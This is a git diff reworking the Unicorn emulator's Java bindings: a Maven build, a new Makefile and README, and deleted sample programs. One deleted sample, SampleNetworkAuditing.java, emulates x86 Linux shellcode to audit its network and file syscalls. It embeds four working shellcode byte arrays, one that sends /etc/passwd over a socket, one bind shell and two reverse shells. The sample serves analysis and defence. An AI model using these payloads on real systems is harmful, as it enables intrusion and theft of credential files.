diff --git a/.gitignore b/.gitignore index 4b386948c3..cd01106e78 100644 --- a/.gitignore +++ b/.gitignore @@ -45,7 +45,6 @@ _*.txt _*.diff tmp/ -bindings/java/unicorn_Unicorn.h bindings/python/build/ bindings/python/dist/ bindings/python/src/ diff --git a/bindings/const_generator.py b/bindings/const_generator.py index b2607031c5..982b48f4cb 100644 --- a/bindings/const_generator.py +++ b/bindings/const_generator.py @@ -72,8 +72,8 @@ 'java': { 'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\npackage unicorn;\n\npublic interface %sConst {\n", 'footer': "\n}\n", - 'line_format': ' public static final int UC_%s = %s;\n', - 'out_file': './java/unicorn/%sConst.java', + 'line_format': ' public static final int UC_%s = %s;\n', + 'out_file': './java/src/main/java/unicorn/%sConst.java', # prefixes for constant filenames of all archs - case sensitive 'arm.h': 'Arm', 'arm64.h': 'Arm64', @@ -86,7 +86,7 @@ 's390x.h' : 'S390x', 'tricore.h' : 'TriCore', 'unicorn.h': 'Unicorn', - 'comment_open': '//', + 'comment_open': ' //', 'comment_close': '', }, 'dotnet': { @@ -159,8 +159,9 @@ def gen(lang): templ = template[lang] for target in include: prefix = templ[target] - outfile = open(templ['out_file'] %(prefix), 'wb') # open as binary prevents windows newlines - outfile.write((templ['header'] % (prefix)).encode("utf-8")) + outfn = templ['out_file'] % prefix + outfile = open(outfn + ".tmp", 'wb') # open as binary prevents windows newlines + outfile.write((templ['header'] % prefix).encode("utf-8")) if target == 'unicorn.h': prefix = '' with open(os.path.join(INCL_DIR, target)) as f: @@ -278,6 +279,19 @@ def gen(lang): outfile.write((templ['footer']).encode("utf-8")) outfile.close() + if os.path.isfile(outfn): + with open(outfn, "rb") as infile: + cur_data = infile.read() + with open(outfn + ".tmp", "rb") as infile: + new_data = infile.read() + if cur_data == new_data: + os.unlink(outfn + ".tmp") + else: + os.unlink(outfn) + os.rename(outfn + ".tmp", outfn) + else: + os.rename(outfn + ".tmp", outfn) + def main(): lang = sys.argv[1] if lang == "all": diff --git a/bindings/java/.gitignore b/bindings/java/.gitignore new file mode 100644 index 0000000000..2f7896d1d1 --- /dev/null +++ b/bindings/java/.gitignore @@ -0,0 +1 @@ +target/ diff --git a/bindings/java/Makefile b/bindings/java/Makefile index 313db88890..aa3fe7d1bc 100644 --- a/bindings/java/Makefile +++ b/bindings/java/Makefile @@ -1,29 +1,43 @@ -.PHONY: gen_const clean jar all lib samples install +# Makefile for the native JNI library. Automatically called by Maven. -all: gen_const - $(MAKE) -f Makefile.build all +JAVA_HOME ?= $(shell java -XshowSettings:properties -version 2>&1 | sed -n 's/ *java.home = //p') -lib: - $(MAKE) -f Makefile.build lib +ifeq ($(JAVA_HOME),) + $(error JAVA_HOME could not be determined; please set it manually (make JAVA_HOME=...)) +endif -samples: - $(MAKE) -f Makefile.build samples +JAVA_INC := $(JAVA_HOME)/include +JAVA_PLATFORM_INC := $(shell dirname `find $(JAVA_INC) -name jni_md.h`) +UNICORN_INC := ../../include -jar: - $(MAKE) -f Makefile.build jar +OS := $(shell uname) +ifeq ($(OS),Darwin) + LIB_EXT=.dylib +else ifeq ($(OS),Linux) + LIB_EXT=.so +else + LIB_EXT=.dll +endif -install: lib jar - $(MAKE) -f Makefile.build install +all: libunicorn_java$(LIB_EXT) -uninstall: - $(MAKE) -f Makefile.build uninstall +CC=gcc +CFLAGS=-fPIC +LDFLAGS=-shared -fPIC +# May also use -lunicorn to dynamically link against the installed unicorn +LIBS=../../build/libunicorn.a +INCS=-I target/headers -I$(JAVA_INC) -I$(JAVA_PLATFORM_INC) -I$(UNICORN_INC) -gen_const: - cd .. && python3 const_generator.py java +OBJS=unicorn_Unicorn.o + +unicorn_Unicorn.o: unicorn_Unicorn.c target/headers/unicorn_Unicorn.h + $(CC) -O2 -Wall -Wextra -Wno-unused-parameter -c $(CFLAGS) $(INCS) $< -o $@ + +libunicorn_java$(LIB_EXT): $(OBJS) + $(CC) -o $@ $(LDFLAGS) $(OBJS) $(LIBS) clean: - rm -f unicorn/*.class - rm -f samples/*.class - rm -f *.so - rm -f *.dylib - rm -f *.dll + rm -f libunicorn_java$(LIB_EXT) + rm -f $(OBJS) + +.PHONY: all clean diff --git a/bindings/java/Makefile.build b/bindings/java/Makefile.build deleted file mode 100644 index 0572120aed..0000000000 --- a/bindings/java/Makefile.build +++ /dev/null @@ -1,82 +0,0 @@ - -.PHONY: gen_const clean - -JC=javac - -JAVA_HOME := $(shell readlink -f `which $(JC)` | sed "s:/bin/$(JC)::") - -JAVA_INC := $(shell realpath $(JAVA_HOME)/include) - -JAVA_PLATFORM_INC := $(shell dirname `find $(JAVA_INC) -name jni_md.h`) - -UNICORN_INC=../../include - -SAMPLES := $(shell ls samples/*.java) -SRC := $(shell ls unicorn/*.java) - -OS := $(shell uname) -ifeq ($(OS),Darwin) - LIB_EXT=.dylib -else ifeq ($(OS),Linux) - LIB_EXT=.so -else - LIB_EXT=.dll -endif - -CC=gcc -CFLAGS=-fPIC -LDFLAGS=-shared -fPIC -LIBS=-lunicorn -LIBDIR=-L../../ -INCS=-I$(JAVA_INC) -I$(JAVA_PLATFORM_INC) -I$(UNICORN_INC) - -CLASSPATH=./ - -.SUFFIXES: .java .class - -%.class: %.java - $(JC) -classpath .:unicorn.jar $(JFLAGS) $< - -OBJS=unicorn_Unicorn.o - -JARFILE=unicorn.jar - -all: jar lib samples - -%.o: %.c - $(CC) -c $(CFLAGS) $(INCS) $< -o $@ - -unicorn_Unicorn.h: unicorn/Unicorn.java - javac -h . $< - -unicorn_Unicorn.o: unicorn_Unicorn.c unicorn_Unicorn.h - $(CC) -c $(CFLAGS) $(INCS) $< -o $@ - -libunicorn_java$(LIB_EXT): unicorn_Unicorn.o - -lib: libunicorn_java$(LIB_EXT) unicorn_Unicorn.h - $(CC) -o $< $(LDFLAGS) $(OBJS) $(LIBDIR) $(LIBS) - -samples: $(SAMPLES:.java=.class) -jarfiles: $(SRC:.java=.class) - -jar: jarfiles - jar cf $(JARFILE) unicorn/*.class - -install: lib jar - cp libunicorn_java$(LIB_EXT) /usr/lib - cp $(JARFILE) /usr/share/java - -uninstall: - rm /usr/lib/libunicorn_java$(LIB_EXT) - rm /usr/share/java/$(JARFILE) - -gen_const: - cd .. && python const_generator.py java - -clean: - rm unicorn/*.class - rm samples/*.class - rm *.so - rm *.dylib - rm *.dll diff --git a/bindings/java/README.TXT b/bindings/java/README.TXT deleted file mode 100644 index 471adb181c..0000000000 --- a/bindings/java/README.TXT +++ /dev/null @@ -1,37 +0,0 @@ -This documentation explains how to install the Java binding for Unicorn -from source. - -0. Install the core engine as dependency - - Follow README in the root directory to compile & install the core. - - On *nix, this can simply done by: - - $ sudo ./make.sh install - - -1. Install a JDK for your platform. When done, make sure the JDK tools - are in your PATH. - -2. Change directories into the java bindings, build and install - - $ cd bindings/java - $ make - $ sudo make install - $ make samples - -The samples directory contains some sample code to show how to use Unicorn API. - -- Sample_.java - These show how to access architecture-specific information for each - architecture. - -- Shellcode.java - This shows how to analyze a Linux shellcode. - -- SampleNetworkAuditing.java - Unicorn sample for auditing network connection and file handling in shellcode. - -To uninstall Java binding for Unicorn: - - $ sudo make uninstall diff --git a/bindings/java/README.md b/bindings/java/README.md new file mode 100644 index 0000000000..e25827a4f3 --- /dev/null +++ b/bindings/java/README.md @@ -0,0 +1,39 @@ +This documentation explains how to install the Java binding for Unicorn +from source. + +0. Follow `docs/COMPILE.md` in the root directory to compile the core to the `build` directory. + + Note: by default, the Java binding native library will be built by statically linking to + `../../build/libunicorn.a`, thereby removing `libunicorn` as a runtime dependency, but + making the produced native library `libunicorn_java` bigger. + + If you instead want to dynamically link against the installed `libunicorn`, change + `LIBS=../../build/libunicorn.a` to `LIBS=-lunicorn` in `Makefile`. + +1. Install a JDK for your platform. + +2. Install Maven: https://maven.apache.org/install.html. + +3. Change directories into the java bindings and build the Maven package: + + $ mvn package + +This will automatically build and test the Unicorn Java bindings. + +The bindings consist of the native JNI library (`libunicorn_java.{so,dylib,dll}`) +and the Java JAR (`target/unicorn-2.xx.jar`). You will need to have the native +library on `java.library.path` and the JAR on your classpath. + +The `src/main/test/java` directory contains some sample code to show how to use Unicorn API. +`samples` is a set of sample classes showcasing the various features of the Unicorn API, +while `tests` is a set of JUnit tests for the API. + +- `Sample_.java`: + These show how to access architecture-specific information for each + architecture. + +- `Shellcode.java`: + This shows how to analyze a Linux shellcode. + +- `SampleNetworkAuditing.java`: + Unicorn sample for auditing network connection and file handling in shellcode. diff --git a/bindings/java/eclipse-formatter.xml b/bindings/java/eclipse-formatter.xml new file mode 100644 index 0000000000..697e35ea57 --- /dev/null +++ b/bindings/java/eclipse-formatter.xml @@ -0,0 +1,399 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bindings/java/pom.xml b/bindings/java/pom.xml new file mode 100644 index 0000000000..686f7b6602 --- /dev/null +++ b/bindings/java/pom.xml @@ -0,0 +1,98 @@ + + + + 4.0.0 + + org.unicorn-engine + unicorn + 2.0 + + unicorn + https://www.unicorn-engine.org + + + UTF-8 + 1.8 + 1.8 + + + + + junit + junit + 4.13.2 + test + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.11.0 + + + -h + target/headers + + + + + + + + org.codehaus.mojo + exec-maven-plugin + 3.1.0 + + + generate-consts + generate-sources + + exec + + + python3 + + const_generator.py + java + + ${project.basedir}/.. + + + + compile-jni-lib + compile + + exec + + + make + + JAVA_HOME=${java.home} + all + + + + + clean-jni-lib + clean + + exec + + + make + + clean + + + + + + + + + diff --git a/bindings/java/samples/SampleNetworkAuditing.java b/bindings/java/samples/SampleNetworkAuditing.java deleted file mode 100644 index 7a822acb57..0000000000 --- a/bindings/java/samples/SampleNetworkAuditing.java +++ /dev/null @@ -1,429 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -/* - Unicorn sample for auditing network connection and file handling in shellcode. - Nguyen Tan Cong -*/ - -import unicorn.*; -import java.util.*; - - -public class SampleNetworkAuditing { - - public static long next_id = 3; - public static final int SIZE_REG = 4; - - private static LogChain fd_chains = new LogChain(); - - public static long get_id() { - return next_id++; - } - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } - - public static final byte[] toBytes(long val) { - byte[] res = new byte[8]; - for (int i = 0; i < 8; i++) { - res[i] = (byte)(val & 0xff); - val >>>= 8; - } - return res; - } - - - private static class MyInterruptHook implements InterruptHook { - // callback for tracing Linux interrupt - public void hook(Unicorn uc, int intno, Object user) { -// System.err.println(String.format("Interrupt 0x%x, from Unicorn 0x%x", intno, u.hashCode())); - - // only handle Linux syscall - if (intno != 0x80) { - return; - } - Long eax = (Long)uc.reg_read(Unicorn.UC_X86_REG_EAX); - Long ebx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX); - Long ecx = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); - Long edx = (Long)uc.reg_read(Unicorn.UC_X86_REG_EDX); - Long eip = (Long)uc.reg_read(Unicorn.UC_X86_REG_EIP); - - // System.out.printf(">>> INTERRUPT %d\n", toInt(eax)); - - if (eax == 1) { // sys_exit - System.out.printf(">>> SYS_EXIT\n"); - uc.emu_stop(); - } - else if (eax == 3) { // sys_read - long fd = ebx; - long buf = ecx; - long count = edx; - - String uuid = UUID.randomUUID().toString().substring(0, 32); - - byte[] dummy_content = Arrays.copyOfRange(uuid.getBytes(), 0, (int)Math.min(count, uuid.length())); - uc.mem_write(buf, dummy_content); - - String msg = String.format("read %d bytes from fd(%d) with dummy_content(%s)", count, fd, uuid.substring(0, dummy_content.length)); - - fd_chains.add_log(fd, msg); - System.out.printf(">>> %s\n", msg); - } - else if (eax == 4) { // sys_write - long fd = ebx; - long buf = ecx; - long count = edx; - - byte[] content = uc.mem_read(buf, count); - - String msg = String.format("write data=%s count=%d to fd(%d)", new String(content), count, fd); - - System.out.printf(">>> %s\n", msg); - fd_chains.add_log(fd, msg); - } - else if (eax == 5) { // sys_open - long filename_addr = ebx; - long flags = ecx; - long mode = edx; - String filename = read_string(uc, filename_addr); - - Long dummy_fd = get_id(); - uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd); - - String msg = String.format("open file (filename=%s flags=%d mode=%d) with fd(%d)", filename, flags, mode, dummy_fd); - - fd_chains.create_chain(dummy_fd); - fd_chains.add_log(dummy_fd, msg); - System.out.printf(">>> %s\n", msg); - } - else if (eax == 11) { // sys_execv - // System.out.printf(">>> ebx=0x%x, ecx=0x%x, edx=0x%x\n", ebx, ecx, edx)); - String filename = read_string(uc, ebx); - - System.out.printf(">>> SYS_EXECV filename=%s\n", filename); - } - else if (eax == 63) { // sys_dup2 - fd_chains.link_fd(ecx, ebx); - System.out.printf(">>> SYS_DUP2 oldfd=%d newfd=%d\n", ebx, ecx); - } - else if (eax == 102) { // sys_socketcall - // ref: http://www.skyfree.org/linux/kernel_network/socket.html - Long call = (Long)uc.reg_read(Unicorn.UC_X86_REG_EBX); - Long args = (Long)uc.reg_read(Unicorn.UC_X86_REG_ECX); - - // int sys_socketcall(int call, unsigned long *args) - if (call == 1) { // sys_socket - // err = sys_socket(a0,a1,a[2]) - // int sys_socket(int family, int type, int protocol) - long family = toInt(uc.mem_read(args, SIZE_REG)); - long sock_type = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long protocol = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - - Long dummy_fd = get_id(); - uc.reg_write(Unicorn.UC_X86_REG_EAX, dummy_fd); - - if (family == 2) { // AF_INET - String msg = String.format("create socket (%s, %s) with fd(%d)", ADDR_FAMILY.get(family), SOCKET_TYPES.get(sock_type), dummy_fd); - fd_chains.create_chain(dummy_fd); - fd_chains.add_log(dummy_fd, msg); - print_sockcall(msg); - } - else if (family == 3) { // AF_INET6 - } - } - else if (call == 2) { // sys_bind - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long umyaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - - byte[] sock_addr = uc.mem_read(umyaddr, addrlen); - - String msg = String.format("fd(%d) bind to %s", fd, parse_sock_address(sock_addr)); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } - else if (call == 3) { // sys_connect - // err = sys_connect(a0, (struct sockaddr *)a1, a[2]) - // int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long uservaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - - byte[] sock_addr = uc.mem_read(uservaddr, addrlen); - String msg = String.format("fd(%d) connect to %s", fd, parse_sock_address(sock_addr)); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } - else if (call == 4) { // sys_listen - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long backlog = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - - String msg = String.format("fd(%d) listened with backlog=%d", fd, backlog); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } - else if (call == 5) { // sys_accept - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long upeer_sockaddr = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long upeer_addrlen = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - - // System.out.printf(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d\n" % (upeer_sockaddr, upeer_addrlen)) - - if (upeer_sockaddr == 0x0) { - print_sockcall(String.format("fd(%d) accept client", fd)); - } - else { - long upeer_len = toInt(uc.mem_read(upeer_addrlen, 4)); - - byte[] sock_addr = uc.mem_read(upeer_sockaddr, upeer_len); - - String msg = String.format("fd(%d) accept client with upeer=%s", fd, parse_sock_address(sock_addr)); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } - } - else if (call == 9) { // sys_send - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long buff = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long length = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); - - byte[] buf = uc.mem_read(buff, length); - String msg = String.format("fd(%d) send data=%s", fd, new String(buf)); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } - else if (call == 11) { // sys_receive - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long ubuf = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - long size = toInt(uc.mem_read(args + SIZE_REG * 2, SIZE_REG)); - long flags = toInt(uc.mem_read(args + SIZE_REG * 3, SIZE_REG)); - - String msg = String.format("fd(%d) is gonna receive data with size=%d flags=%d", fd, size, flags); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } - else if (call == 13) { // sys_shutdown - long fd = toInt(uc.mem_read(args, SIZE_REG)); - long how = toInt(uc.mem_read(args + SIZE_REG, SIZE_REG)); - - String msg = String.format("fd(%d) is shutted down because of %d", fd, how); - fd_chains.add_log(fd, msg); - print_sockcall(msg); - } - } - } - } - - public static final Hashtable SOCKET_TYPES; - public static final Hashtable ADDR_FAMILY; - static { - SOCKET_TYPES = new Hashtable(); - ADDR_FAMILY = new Hashtable(); - SOCKET_TYPES.put(1L, "SOCK_STREAM"); - SOCKET_TYPES.put(2L, "SOCK_DGRAM"); - SOCKET_TYPES.put(3L, "SOCK_RAW"); - SOCKET_TYPES.put(4L, "SOCK_RDM"); - SOCKET_TYPES.put(5L, "SOCK_SEQPACKET"); - SOCKET_TYPES.put(10L, "SOCK_PACKET"); - - ADDR_FAMILY.put(0L, "AF_UNSPEC"); - ADDR_FAMILY.put(1L, "AF_UNIX"); - ADDR_FAMILY.put(2L, "AF_INET"); - ADDR_FAMILY.put(3L, "AF_AX25"); - ADDR_FAMILY.put(4L, "AF_IPX"); - ADDR_FAMILY.put(5L, "AF_APPLETALK"); - ADDR_FAMILY.put(6L, "AF_NETROM"); - ADDR_FAMILY.put(7L, "AF_BRIDGE"); - ADDR_FAMILY.put(8L, "AF_AAL5"); - ADDR_FAMILY.put(9L, "AF_X25"); - ADDR_FAMILY.put(10L, "AF_INET6"); - ADDR_FAMILY.put(12L, "AF_MAX"); - } - -// http://shell-storm.org/shellcode/files/shellcode-861.php - public static final byte[] X86_SEND_ETCPASSWD = {106,102,88,49,-37,67,49,-46,82,106,1,106,2,-119,-31,-51,-128,-119,-58,106,102,88,67,104,127,1,1,1,102,104,48,57,102,83,-119,-31,106,16,81,86,-119,-31,67,-51,-128,-119,-58,106,1,89,-80,63,-51,-128,-21,39,106,5,88,91,49,-55,-51,-128,-119,-61,-80,3,-119,-25,-119,-7,49,-46,-74,-1,-78,-1,-51,-128,-119,-62,106,4,88,-77,1,-51,-128,106,1,88,67,-51,-128,-24,-44,-1,-1,-1,47,101,116,99,47,112,97,115,115,119,100}; -// http://shell-storm.org/shellcode/files/shellcode-882.php - public static final byte[] X86_BIND_TCP = {106,102,88,106,1,91,49,-10,86,83,106,2,-119,-31,-51,-128,95,-105,-109,-80,102,86,102,104,5,57,102,83,-119,-31,106,16,81,87,-119,-31,-51,-128,-80,102,-77,4,86,87,-119,-31,-51,-128,-80,102,67,86,86,87,-119,-31,-51,-128,89,89,-79,2,-109,-80,63,-51,-128,73,121,-7,-80,11,104,47,47,115,104,104,47,98,105,110,-119,-29,65,-119,-54,-51,-128}; -// http://shell-storm.org/shellcode/files/shellcode-883.php - public static final byte[] X86_REVERSE_TCP = {106,102,88,106,1,91,49,-46,82,83,106,2,-119,-31,-51,-128,-110,-80,102,104,127,1,1,1,102,104,5,57,67,102,83,-119,-31,106,16,81,82,-119,-31,67,-51,-128,106,2,89,-121,-38,-80,63,-51,-128,73,121,-7,-80,11,65,-119,-54,82,104,47,47,115,104,104,47,98,105,110,-119,-29,-51,-128}; -// http://shell-storm.org/shellcode/files/shellcode-849.php - public static final byte[] X86_REVERSE_TCP_2 = {49,-64,49,-37,49,-55,49,-46,-80,102,-77,1,81,106,6,106,1,106,2,-119,-31,-51,-128,-119,-58,-80,102,49,-37,-77,2,104,-64,-88,1,10,102,104,122,105,102,83,-2,-61,-119,-31,106,16,81,86,-119,-31,-51,-128,49,-55,-79,3,-2,-55,-80,63,-51,-128,117,-8,49,-64,82,104,110,47,115,104,104,47,47,98,105,-119,-29,82,83,-119,-31,82,-119,-30,-80,11,-51,-128}; - - // memory address where emulation starts - public static final int ADDRESS = 0x1000000; - - public static String join(ArrayList l, String sep) { - boolean first = true; - StringBuilder res = new StringBuilder(); - for (String s : l) { - if (!first) { - res.append(sep); - } - res.append(s); - first = false; - } - return res.toString(); - } - - private static class LogChain { - public Hashtable> __chains = new Hashtable>(); - public Hashtable> __linking_fds = new Hashtable>(); - - public void clean() { - __chains.clear(); - __linking_fds.clear(); - } - - public void create_chain(long id) { - if (!__chains.containsKey(id)) { - __chains.put(id, new ArrayList()); - } - else { - System.out.printf("LogChain: id %d existed\n", id); - } - } - - public void add_log(long id, String msg) { - long fd = get_original_fd(id); - - if (fd != -1) { - __chains.get(fd).add(msg); - } - else { - System.out.printf("LogChain: id %d doesn't exist\n", id); - } - } - - public void link_fd(long from_fd, long to_fd) { - if (!__linking_fds.containsKey(to_fd)) { - __linking_fds.put(to_fd, new ArrayList()); - } - - __linking_fds.get(to_fd).add(from_fd); - } - - public long get_original_fd(long fd) { - if (__chains.containsKey(fd)) { - return fd; - } - - for (Long orig_fd : __linking_fds.keySet()) { - if (__linking_fds.get(orig_fd).contains(fd)) - return orig_fd; - } - return -1; - } - - public void print_report() { - System.out.printf("\n----------------"); - System.out.printf("\n| START REPORT |"); - System.out.printf("\n----------------\n\n"); - for (Long fd : __chains.keySet()) { - System.out.printf("---- START FD(%d) ----\n", fd); - System.out.println(join(__chains.get(fd), "\n")); - System.out.printf("---- END FD(%d) ----\n", fd); - } - System.out.printf("\n--------------"); - System.out.printf("\n| END REPORT |"); - System.out.printf("\n--------------\n\n"); - } - } - // end supported classes - - // utilities - static String read_string(Unicorn uc, long addr) { - StringBuilder ret = new StringBuilder(); - char c; - do { - c = (char)(uc.mem_read(addr++, 1)[0] & 0xff); - if (c != 0) { - ret.append(c); - } - } while (c != 0); - - return ret.toString(); - } - - static String parse_sock_address(byte[] sock_addr) { - int sin_family = ((sock_addr[0] & 0xff) + (sock_addr[1] << 8)) & 0xffff; - - if (sin_family == 2) { // AF_INET - int sin_port = ((sock_addr[3] & 0xff) + (sock_addr[2] << 8)) & 0xffff; - return String.format("%d.%d.%d.%d:%d", sock_addr[4] & 0xff, sock_addr[5] & 0xff, sock_addr[6] & 0xff, sock_addr[7] & 0xff, sin_port); - } - else if (sin_family == 6) // AF_INET6 - return ""; - return null; - } - - static void print_sockcall(String msg) { - System.out.printf(">>> SOCKCALL %s\n", msg); - } - // end utilities - - static void test_i386(byte[] code) { - fd_chains.clean(); - System.out.printf("Emulate i386 code\n"); - try { - // Initialize emulator in X86-32bit mode - Unicorn mu = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32); - - // map 2MB memory for this emulation - mu.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - mu.mem_write(ADDRESS, code); - - // initialize stack - mu.reg_write(Unicorn.UC_X86_REG_ESP, ADDRESS + 0x200000L); - - // handle interrupt ourself - mu.hook_add(new MyInterruptHook(), null); - - // emulate machine code in infinite time - mu.emu_start(ADDRESS, ADDRESS + code.length, 0, 0); - - // now print out some registers - System.out.printf(">>> Emulation done\n"); - - } catch (UnicornException uex) { - System.out.printf("ERROR: %s\n", uex.getMessage()); - } - - fd_chains.print_report(); - } - - public static void main(String args[]) { - test_i386(X86_SEND_ETCPASSWD); - test_i386(X86_BIND_TCP); - test_i386(X86_REVERSE_TCP); - test_i386(X86_REVERSE_TCP_2); - } - -} diff --git a/bindings/java/samples/Sample_arm.java b/bindings/java/samples/Sample_arm.java deleted file mode 100644 index 4d85fb7de6..0000000000 --- a/bindings/java/samples/Sample_arm.java +++ /dev/null @@ -1,130 +0,0 @@ -/* Unicorn Emulator Engine */ -/* By Nguyen Anh Quynh, 2015 */ - -/* Sample code to demonstrate how to emulate ARM code */ - -import unicorn.*; - -public class Sample_arm { - - // code to be emulated - public static final byte[] ARM_CODE = {55,0,(byte)0xa0,(byte)0xe3,3,16,66,(byte)0xe0}; // mov r0, #0x37; sub r1, r2, r3 - public static final byte[] THUMB_CODE = {(byte)0x83, (byte)0xb0}; // sub sp, #0xc - - // memory address where emulation starts - public static final int ADDRESS = 0x10000; - - public static final long toInt(byte val[]) { - long res = 0; - for (int i = 0; i < val.length; i++) { - long v = val[i] & 0xff; - res = res + (v << (i * 8)); - } - return res; - } - - private static class MyBlockHook implements BlockHook { - public void hook(Unicorn u, long address, int size, Object user_data) - { - System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size)); - } - } - - // callback for tracing instruction - private static class MyCodeHook implements CodeHook { - public void hook(Unicorn u, long address, int size, Object user_data) { - System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size)); - } - } - - static void test_arm() - { - - Long r0 = 0x1234L; // R0 register - Long r2 = 0x6789L; // R1 register - Long r3 = 0x3333L; // R2 register - Long r1; // R1 register - - System.out.print("Emulate ARM code\n"); - - // Initialize emulator in ARM mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_ARM); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, ARM_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_ARM_REG_R0, r0); - u.reg_write(Unicorn.UC_ARM_REG_R2, r2); - u.reg_write(Unicorn.UC_ARM_REG_R3, r3); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS, ADDRESS + ARM_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - r0 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R0); - r1 = (Long)u.reg_read(Unicorn.UC_ARM_REG_R1); - System.out.print(String.format(">>> R0 = 0x%x\n", r0.intValue())); - System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue())); - - u.close(); - } - - static void test_thumb() - { - - Long sp = 0x1234L; // R0 register - - System.out.print("Emulate THUMB code\n"); - - // Initialize emulator in ARM mode - Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB); - - // map 2MB memory for this emulation - u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL); - - // write machine code to be emulated to memory - u.mem_write(ADDRESS, THUMB_CODE); - - // initialize machine registers - u.reg_write(Unicorn.UC_ARM_REG_SP, sp); - - // tracing all basic blocks with customized callback - u.hook_add(new MyBlockHook(), 1, 0, null); - - // tracing one instruction at ADDRESS with customized callback - u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null); - - // emulate machine code in infinite time (last param = 0), or when - // finishing all the code. - u.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.length, 0, 0); - - // now print out some registers - System.out.print(">>> Emulation done. Below is the CPU context\n"); - - sp = (Long)u.reg_read(Unicorn.UC_ARM_REG_SP); - System.out.print(String.format(">>> SP = 0x%x\n", sp.intValue())); - - u.close(); - } - - public static void main(String args[]) - { - test_arm(); - System.out.print("==========================\n"); - test_thumb(); - } - -} diff --git a/bindings/java/samples/Sample_arm64.java b/bindings/java/samples/Sample_arm64.java deleted file mode 100644 index 0f7e5f32bb..0000000000 --- a/bindings/java/samples/Sample_arm64.java +++ /dev/null @@ -1,115 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU 